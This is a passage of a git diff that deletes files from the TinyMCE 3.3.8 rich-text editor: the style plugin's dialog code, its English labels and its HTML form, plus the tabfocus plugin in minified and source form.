false; - el[pre + "_bottom_measurement"].disabled = false; - el[pre + "_left_measurement"].disabled = false; - } - } - - showDisabledControls(); -} - -function synch(fr, to) { - var f = document.forms[0]; - - f.elements[to].value = f.elements[fr].value; - - if (f.elements[fr + "_measurement"]) - selectByValue(f, to + "_measurement", f.elements[fr + "_measurement"].value); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/langs/en_dlg.js deleted file mode 100644 index 5026313..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/langs/en_dlg.js +++ /dev/null @@ -1,63 +0,0 @@ -tinyMCE.addI18n('en.style_dlg',{ -title:"Edit CSS Style", -apply:"Apply", -text_tab:"Text", -background_tab:"Background", -block_tab:"Block", -box_tab:"Box", -border_tab:"Border", -list_tab:"List", -positioning_tab:"Positioning", -text_props:"Text", -text_font:"Font", -text_size:"Size", -text_weight:"Weight", -text_style:"Style", -text_variant:"Variant", -text_lineheight:"Line height", -text_case:"Case", -text_color:"Color", -text_decoration:"Decoration", -text_overline:"overline", -text_underline:"underline", -text_striketrough:"strikethrough", -text_blink:"blink", -text_none:"none", -background_color:"Background color", -background_image:"Background image", -background_repeat:"Repeat", -background_attachment:"Attachment", -background_hpos:"Horizontal position", -background_vpos:"Vertical position", -block_wordspacing:"Word spacing", -block_letterspacing:"Letter spacing", -block_vertical_alignment:"Vertical alignment", -block_text_align:"Text align", -block_text_indent:"Text indent", -block_whitespace:"Whitespace", -block_display:"Display", -box_width:"Width", -box_height:"Height", -box_float:"Float", -box_clear:"Clear", -padding:"Padding", -same:"Same for all", -top:"Top", -right:"Right", -bottom:"Bottom", -left:"Left", -margin:"Margin", -style:"Style", -width:"Width", -height:"Height", -color:"Color", -list_type:"Type", -bullet_image:"Bullet image", -position:"Position", -positioning_type:"Type", -visibility:"Visibility", -zindex:"Z-index", -overflow:"Overflow", -placement:"Placement", -clip:"Clip" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/props.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/props.htm deleted file mode 100644 index 549ed04..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/props.htm +++ /dev/null @@ -1,723 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#style_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="js/props.js"></script> - <link href="css/props.css" rel="stylesheet" type="text/css" /> -</head> - -<body id="styleprops" style="display: none"> -<form onsubmit="updateAction();return false;" action="#"> -<div class="tabs"> - <ul> - <li id="text_tab" class="current"><span><a href="javascript:mcTabs.displayTab('text_tab','text_panel');" onMouseDown="return false;">{#style_dlg.text_tab}</a></span></li> - <li id="background_tab"><span><a href="javascript:mcTabs.displayTab('background_tab','background_panel');" onMouseDown="return false;">{#style_dlg.background_tab}</a></span></li> - <li id="block_tab"><span><a href="javascript:mcTabs.displayTab('block_tab','block_panel');" onMouseDown="return false;">{#style_dlg.block_tab}</a></span></li> - <li id="box_tab"><span><a href="javascript:mcTabs.displayTab('box_tab','box_panel');" onMouseDown="return false;">{#style_dlg.box_tab}</a></span></li> - <li id="border_tab"><span><a href="javascript:mcTabs.displayTab('border_tab','border_panel');" onMouseDown="return false;">{#style_dlg.border_tab}</a></span></li> - <li id="list_tab"><span><a href="javascript:mcTabs.displayTab('list_tab','list_panel');" onMouseDown="return false;">{#style_dlg.list_tab}</a></span></li> - <li id="positioning_tab"><span><a href="javascript:mcTabs.displayTab('positioning_tab','positioning_panel');" onMouseDown="return false;">{#style_dlg.positioning_tab}</a></span></li> - </ul> -</div> - -<div class="panel_wrapper"> -<div id="text_panel" class="panel current"> - <table border="0" width="100%"> - <tr> - <td><label for="text_font">{#style_dlg.text_font}</label></td> - <td colspan="3"> - <select id="text_font" name="text_font" class="mceEditableSelect mceFocus"></select> - </td> - </tr> - <tr> - <td><label for="text_size">{#style_dlg.text_size}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="text_size" name="text_size" class="mceEditableSelect"></select></td> - <td>&nbsp;</td> - <td><select id="text_size_measurement" name="text_size_measurement"></select></td> - </tr> - </table> - </td> - <td><label for="text_weight">{#style_dlg.text_weight}</label></td> - <td> - <select id="text_weight" name="text_weight"></select> - </td> - </tr> - <tr> - <td><label for="text_style">{#style_dlg.text_style}</label></td> - <td> - <select id="text_style" name="text_style" class="mceEditableSelect"></select> - </td> - <td><label for="text_variant">{#style_dlg.text_variant}</label></td> - <td> - <select id="text_variant" name="text_variant"></select> - </td> - </tr> - <tr> - <td><label for="text_lineheight">{#style_dlg.text_lineheight}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td> - <select id="text_lineheight" name="text_lineheight" class="mceEditableSelect"></select> - </td> - <td>&nbsp;</td> - <td><select id="text_lineheight_measurement" name="text_lineheight_measurement"></select></td> - </tr> - </table> - </td> - <td><label for="text_case">{#style_dlg.text_case}</label></td> - <td> - <select id="text_case" name="text_case"></select> - </td> - </tr> - <tr> - <td><label for="text_color">{#style_dlg.text_color}</label></td> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="text_color" name="text_color" type="text" value="" size="9" onChange="updateColor('text_color_pick','text_color');" /></td> - <td id="text_color_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - <tr> - <td valign="top" style="vertical-align: top; padding-top: 3px;">{#style_dlg.text_decoration}</td> - <td colspan="2"> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="text_underline" name="text_underline" class="checkbox" type="checkbox" /></td> - <td><label for="text_underline">{#style_dlg.text_underline}</label></td> - </tr> - <tr> - <td><input id="text_overline" name="text_overline" class="checkbox" type="checkbox" /></td> - <td><label for="text_overline">{#style_dlg.text_overline}</label></td> - </tr> - <tr> - <td><input id="text_linethrough" name="text_linethrough" class="checkbox" type="checkbox" /></td> - <td><label for="text_linethrough">{#style_dlg.text_striketrough}</label></td> - </tr> - <tr> - <td><input id="text_blink" name="text_blink" class="checkbox" type="checkbox" /></td> - <td><label for="text_blink">{#style_dlg.text_blink}</label></td> - </tr> - <tr> - <td><input id="text_none" name="text_none" class="checkbox" type="checkbox" /></td> - <td><label for="text_none">{#style_dlg.text_none}</label></td> - </tr> - </table> - </td> - </tr> - </table> -</div> - -<div id="background_panel" class="panel"> - <table border="0"> - <tr> - <td><label for="background_color">{#style_dlg.background_color}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="background_color" name="background_color" type="text" value="" size="9" onChange="updateColor('background_color_pick','background_color');" /></td> - <td id="background_color_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="background_image">{#style_dlg.background_image}</label></td> - <td><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="background_image" name="background_image" type="text" /></td> - <td id="background_image_browser">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="background_repeat">{#style_dlg.background_repeat}</label></td> - <td><select id="background_repeat" name="background_repeat" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="background_attachment">{#style_dlg.background_attachment}</label></td> - <td><select id="background_attachment" name="background_attachment" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="background_hpos">{#style_dlg.background_hpos}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="background_hpos" name="background_hpos" class="mceEditableSelect"></select></td> - <td>&nbsp;</td> - <td><select id="background_hpos_measurement" name="background_hpos_measurement"></select></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="background_vpos">{#style_dlg.background_vpos}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="background_vpos" name="background_vpos" class="mceEditableSelect"></select></td> - <td>&nbsp;</td> - <td><select id="background_vpos_measurement" name="background_vpos_measurement"></select></td> - </tr> - </table> - </td> - </tr> - </table> -</div> - -<div id="block_panel" class="panel"> - <table border="0"> - <tr> - <td><label for="block_wordspacing">{#style_dlg.block_wordspacing}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="block_wordspacing" name="block_wordspacing" class="mceEditableSelect"></select></td> - <td>&nbsp;</td> - <td><select id="block_wordspacing_measurement" name="block_wordspacing_measurement"></select></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="block_letterspacing">{#style_dlg.block_letterspacing}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="block_letterspacing" name="block_letterspacing" class="mceEditableSelect"></select></td> - <td>&nbsp;</td> - <td><select id="block_letterspacing_measurement" name="block_letterspacing_measurement"></select></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="block_vertical_alignment">{#style_dlg.block_vertical_alignment}</label></td> - <td><select id="block_vertical_alignment" name="block_vertical_alignment" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="block_text_align">{#style_dlg.block_text_align}</label></td> - <td><select id="block_text_align" name="block_text_align" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="block_text_indent">{#style_dlg.block_text_indent}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="block_text_indent" name="block_text_indent" /></td> - <td>&nbsp;</td> - <td><select id="block_text_indent_measurement" name="block_text_indent_measurement"></select></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="block_whitespace">{#style_dlg.block_whitespace}</label></td> - <td><select id="block_whitespace" name="block_whitespace" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="block_display">{#style_dlg.block_display}</label></td> - <td><select id="block_display" name="block_display" class="mceEditableSelect"></select></td> - </tr> - </table> -</div> - -<div id="box_panel" class="panel"> -<table border="0"> - <tr> - <td><label for="box_width">{#style_dlg.box_width}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_width" name="box_width" class="mceEditableSelect" onChange="synch('box_width','positioning_width');" /></td> - <td>&nbsp;</td> - <td><select id="box_width_measurement" name="box_width_measurement"></select></td> - </tr> - </table> - </td> - <td>&nbsp;&nbsp;&nbsp;<label for="box_float">{#style_dlg.box_float}</label></td> - <td><select id="box_float" name="box_float" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="box_height">{#style_dlg.box_height}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_height" name="box_height" class="mceEditableSelect" onChange="synch('box_height','positioning_height');" /></td> - <td>&nbsp;</td> - <td><select id="box_height_measurement" name="box_height_measurement"></select></td> - </tr> - </table> - </td> - <td>&nbsp;&nbsp;&nbsp;<label for="box_clear">{#style_dlg.box_clear}</label></td> - <td><select id="box_clear" name="box_clear" class="mceEditableSelect"></select></td> - </tr> -</table> -<div style="float: left; width: 49%"> - <fieldset> - <legend>{#style_dlg.padding}</legend> - - <table border="0"> - <tr> - <td>&nbsp;</td> - <td><input type="checkbox" id="box_padding_same" name="box_padding_same" class="checkbox" checked="checked" onClick="toggleSame(this,'box_padding');" /> <label for="box_padding_same">{#style_dlg.same}</label></td> - </tr> - <tr> - <td><label for="box_padding_top">{#style_dlg.top}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_padding_top" name="box_padding_top" class="mceEditableSelect" /></td> - <td>&nbsp;</td> - <td><select id="box_padding_top_measurement" name="box_padding_top_measurement"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td><label for="box_padding_right">{#style_dlg.right}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_padding_right" name="box_padding_right" class="mceEditableSelect" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="box_padding_right_measurement" name="box_padding_right_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td><label for="box_padding_bottom">{#style_dlg.bottom}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_padding_bottom" name="box_padding_bottom" class="mceEditableSelect" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="box_padding_bottom_measurement" name="box_padding_bottom_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td><label for="box_padding_left">{#style_dlg.left}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_padding_left" name="box_padding_left" class="mceEditableSelect" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="box_padding_left_measurement" name="box_padding_left_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> -</div> - -<div style="float: right; width: 49%"> - <fieldset> - <legend>{#style_dlg.margin}</legend> - - <table border="0"> - <tr> - <td>&nbsp;</td> - <td><input type="checkbox" id="box_margin_same" name="box_margin_same" class="checkbox" checked="checked" onClick="toggleSame(this,'box_margin');" /> <label for="box_margin_same">{#style_dlg.same}</label></td> - </tr> - <tr> - <td><label for="box_margin_top">{#style_dlg.top}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_margin_top" name="box_margin_top" class="mceEditableSelect" /></td> - <td>&nbsp;</td> - <td><select id="box_margin_top_measurement" name="box_margin_top_measurement"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td><label for="box_margin_right">{#style_dlg.right}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_margin_right" name="box_margin_right" class="mceEditableSelect" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="box_margin_right_measurement" name="box_margin_right_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td><label for="box_margin_bottom">{#style_dlg.bottom}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_margin_bottom" name="box_margin_bottom" class="mceEditableSelect" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="box_margin_bottom_measurement" name="box_margin_bottom_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td><label for="box_margin_left">{#style_dlg.left}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="box_margin_left" name="box_margin_left" class="mceEditableSelect" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="box_margin_left_measurement" name="box_margin_left_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> -</div> -<br style="clear: both" /> -</div> - -<div id="border_panel" class="panel"> -<table border="0" cellspacing="0" cellpadding="0" width="100%"> -<tr> - <td class="tdelim">&nbsp;</td> - <td class="tdelim delim">&nbsp;</td> - <td class="tdelim">{#style_dlg.style}</td> - <td class="tdelim delim">&nbsp;</td> - <td class="tdelim">{#style_dlg.width}</td> - <td class="tdelim delim">&nbsp;</td> - <td class="tdelim">{#style_dlg.color}</td> -</tr> - -<tr> - <td>&nbsp;</td> - <td class="delim">&nbsp;</td> - <td><input type="checkbox" id="border_style_same" name="border_style_same" class="checkbox" checked="checked" onClick="toggleSame(this,'border_style');" /> <label for="border_style_same">{#style_dlg.same}</label></td> - <td class="delim">&nbsp;</td> - <td><input type="checkbox" id="border_width_same" name="border_width_same" class="checkbox" checked="checked" onClick="toggleSame(this,'border_width');" /> <label for="border_width_same">{#style_dlg.same}</label></td> - <td class="delim">&nbsp;</td> - <td><input type="checkbox" id="border_color_same" name="border_color_same" class="checkbox" checked="checked" onClick="toggleSame(this,'border_color');" /> <label for="border_color_same">{#style_dlg.same}</label></td> -</tr> - -<tr> - <td>{#style_dlg.top}</td> - <td class="delim">&nbsp;</td> - <td><select id="border_style_top" name="border_style_top" class="mceEditableSelect"></select></td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="border_width_top" name="border_width_top" class="mceEditableSelect"></select></td> - <td>&nbsp;</td> - <td><select id="border_width_top_measurement" name="border_width_top_measurement"></select></td> - </tr> - </table> - </td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="border_color_top" name="border_color_top" type="text" value="" size="9" onChange="updateColor('border_color_top_pick','border_color_top');" /></td> - <td id="border_color_top_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> -</tr> - -<tr> - <td>{#style_dlg.right}</td> - <td class="delim">&nbsp;</td> - <td><select id="border_style_right" name="border_style_right" class="mceEditableSelect" disabled="disabled"></select></td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="border_width_right" name="border_width_right" class="mceEditableSelect" disabled="disabled"></select></td> - <td>&nbsp;</td> - <td><select id="border_width_right_measurement" name="border_width_right_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="border_color_right" name="border_color_right" type="text" value="" size="9" onChange="updateColor('border_color_right_pick','border_color_right');" disabled="disabled" /></td> - <td id="border_color_right_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> -</tr> - -<tr> - <td>{#style_dlg.bottom}</td> - <td class="delim">&nbsp;</td> - <td><select id="border_style_bottom" name="border_style_bottom" class="mceEditableSelect" disabled="disabled"></select></td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="border_width_bottom" name="border_width_bottom" class="mceEditableSelect" disabled="disabled"></select></td> - <td>&nbsp;</td> - <td><select id="border_width_bottom_measurement" name="border_width_bottom_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="border_color_bottom" name="border_color_bottom" type="text" value="" size="9" onChange="updateColor('border_color_bottom_pick','border_color_bottom');" disabled="disabled" /></td> - <td id="border_color_bottom_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> -</tr> - -<tr> - <td>{#style_dlg.left}</td> - <td class="delim">&nbsp;</td> - <td><select id="border_style_left" name="border_style_left" class="mceEditableSelect" disabled="disabled"></select></td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><select id="border_width_left" name="border_width_left" class="mceEditableSelect" disabled="disabled"></select></td> - <td>&nbsp;</td> - <td><select id="border_width_left_measurement" name="border_width_left_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - <td class="delim">&nbsp;</td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="border_color_left" name="border_color_left" type="text" value="" size="9" onChange="updateColor('border_color_left_pick','border_color_left');" disabled="disabled" /></td> - <td id="border_color_left_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> -</tr> -</table> -</div> - -<div id="list_panel" class="panel"> - <table border="0"> - <tr> - <td><label for="list_type">{#style_dlg.list_type}</label></td> - <td><select id="list_type" name="list_type" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="list_bullet_image">{#style_dlg.bullet_image}</label></td> - <td><input id="list_bullet_image" name="list_bullet_image" type="text" /></td> - </tr> - - <tr> - <td><label for="list_position">{#style_dlg.position}</label></td> - <td><select id="list_position" name="list_position" class="mceEditableSelect"></select></td> - </tr> - </table> -</div> - -<div id="positioning_panel" class="panel"> -<table border="0"> - <tr> - <td><label for="positioning_type">{#style_dlg.positioning_type}</label></td> - <td><select id="positioning_type" name="positioning_type" class="mceEditableSelect"></select></td> - <td>&nbsp;&nbsp;&nbsp;<label for="positioning_visibility">{#style_dlg.visibility}</label></td> - <td><select id="positioning_visibility" name="positioning_visibility" class="mceEditableSelect"></select></td> - </tr> - - <tr> - <td><label for="positioning_width">{#style_dlg.width}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_width" name="positioning_width" onChange="synch('positioning_width','box_width');" /></td> - <td>&nbsp;</td> - <td><select id="positioning_width_measurement" name="positioning_width_measurement"></select></td> - </tr> - </table> - </td> - <td>&nbsp;&nbsp;&nbsp;<label for="positioning_zindex">{#style_dlg.zindex}</label></td> - <td><input type="text" id="positioning_zindex" name="positioning_zindex" /></td> - </tr> - - <tr> - <td><label for="positioning_height">{#style_dlg.height}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_height" name="positioning_height" onChange="synch('positioning_height','box_height');" /></td> - <td>&nbsp;</td> - <td><select id="positioning_height_measurement" name="positioning_height_measurement"></select></td> - </tr> - </table> - </td> - <td>&nbsp;&nbsp;&nbsp;<label for="positioning_overflow">{#style_dlg.overflow}</label></td> - <td><select id="positioning_overflow" name="positioning_overflow" class="mceEditableSelect"></select></td> - </tr> -</table> - -<div style="float: left; width: 49%"> - <fieldset> - <legend>{#style_dlg.placement}</legend> - - <table border="0"> - <tr> - <td>&nbsp;</td> - <td><input type="checkbox" id="positioning_placement_same" name="positioning_placement_same" class="checkbox" checked="checked" onClick="toggleSame(this,'positioning_placement');" /> <label for="positioning_placement_same">{#style_dlg.same}</label></td> - </tr> - <tr> - <td>{#style_dlg.top}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_placement_top" name="positioning_placement_top" /></td> - <td>&nbsp;</td> - <td><select id="positioning_placement_top_measurement" name="positioning_placement_top_measurement"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td>{#style_dlg.right}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_placement_right" name="positioning_placement_right" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="positioning_placement_right_measurement" name="positioning_placement_right_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td>{#style_dlg.bottom}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_placement_bottom" name="positioning_placement_bottom" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="positioning_placement_bottom_measurement" name="positioning_placement_bottom_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td>{#style_dlg.left}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_placement_left" name="positioning_placement_left" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="positioning_placement_left_measurement" name="positioning_placement_left_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> -</div> - -<div style="float: right; width: 49%"> - <fieldset> - <legend>{#style_dlg.clip}</legend> - - <table border="0"> - <tr> - <td>&nbsp;</td> - <td><input type="checkbox" id="positioning_clip_same" name="positioning_clip_same" class="checkbox" checked="checked" onClick="toggleSame(this,'positioning_clip');" /> <label for="positioning_clip_same">{#style_dlg.same}</label></td> - </tr> - <tr> - <td>{#style_dlg.top}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_clip_top" name="positioning_clip_top" /></td> - <td>&nbsp;</td> - <td><select id="positioning_clip_top_measurement" name="positioning_clip_top_measurement"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td>{#style_dlg.right}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_clip_right" name="positioning_clip_right" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="positioning_clip_right_measurement" name="positioning_clip_right_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td>{#style_dlg.bottom}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_clip_bottom" name="positioning_clip_bottom" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="positioning_clip_bottom_measurement" name="positioning_clip_bottom_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - <tr> - <td>{#style_dlg.left}</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="positioning_clip_left" name="positioning_clip_left" disabled="disabled" /></td> - <td>&nbsp;</td> - <td><select id="positioning_clip_left_measurement" name="positioning_clip_left_measurement" disabled="disabled"></select></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> -</div> -<br style="clear: both" /> -</div> -</div> - -<div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" class="button" id="apply" name="apply" value="{#style_dlg.apply}" onClick="applyAction();" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onClick="tinyMCEPopup.close();" /> -</div> -</form> - -<div style="display: none"> - <div id="container"></div> -</div> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin.js deleted file mode 100644 index 27d2440..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(i){o=c.getParent(l.id,"form");n=o.elements;if(o){d(n,function(s,r){if(s.id==l.id){j=r;return false}});if(i>0){for(m=j+1;m<n.length;m++){if(n[m].type!="hidden"){return n[m]}}}else{for(m=j-1;m>=0;m--){if(n[m].type!="hidden"){return n[m]}}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(l=tinymce.get(n.id||n.name)){l.focus()}else{window.setTimeout(function(){window.focus();n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}f.onInit.add(function(){d(c.select("a:first,a:last",f.getContainer()),function(i){a.add(i,"focus",function(){f.focus()})})})},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js deleted file mode 100644 index c2be2f4..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js +++ /dev/null @@ -1,112 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, explode = tinymce.explode; - - tinymce.create('tinymce.plugins.TabFocusPlugin', { - init : function(ed, url) { - function tabCancel(ed, e) { - if (e.keyCode === 9) - return Event.cancel(e); - }; - - function tabHandler(ed, e) { - var x, i, f, el, v; - - function find(d) { - f = DOM.getParent(ed.id, 'form'); - el = f.elements; - - if (f) { - each(el, function(e, i) { - if (e.id == ed.id) { - x = i; - return false; - } - }); - - if (d > 0) { - for (i = x + 1; i < el.length; i++) { - if (el[i].type != 'hidden') - return el[i]; - } - } else { - for (i = x - 1; i >= 0; i--) { - if (el[i].type != 'hidden') - return el[i]; - } - } - } - - return null; - }; - - if (e.keyCode === 9) { - v = explode(ed.getParam('tab_focus', ed.getParam('tabfocus_elements', ':prev,:next'))); - - if (v.length == 1) { - v[1] = v[0]; - v[0] = ':prev'; - } - - // Find element to focus - if (e.shiftKey) { - if (v[0] == ':prev') - el = find(-1); - else - el = DOM.get(v[0]); - } else { - if (v[1] == ':next') - el = find(1); - else - el = DOM.get(v[1]); - } - - if (el) { - if (ed = tinymce.get(el.id || el.name)) - ed.focus(); - else - window.setTimeout(function() {window.focus();el.focus();}, 10); - - return Event.cancel(e); - } - } - }; - - ed.onKeyUp.add(tabCancel); - - if (tinymce.isGecko) { - ed.onKeyPress.add(tabHandler); - ed.onKeyDown.add(tabCancel); - } else - ed.onKeyDown.add(tabHandler); - - ed.onInit.add(function() { - each(DOM.select('a:first,a:last', ed.getContainer()), function(n) { - Event.add(n, 'focus', function() {ed.focus();}); - }); - }); - }, - - getInfo : function() { - return { - longname : 'Tabfocus', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 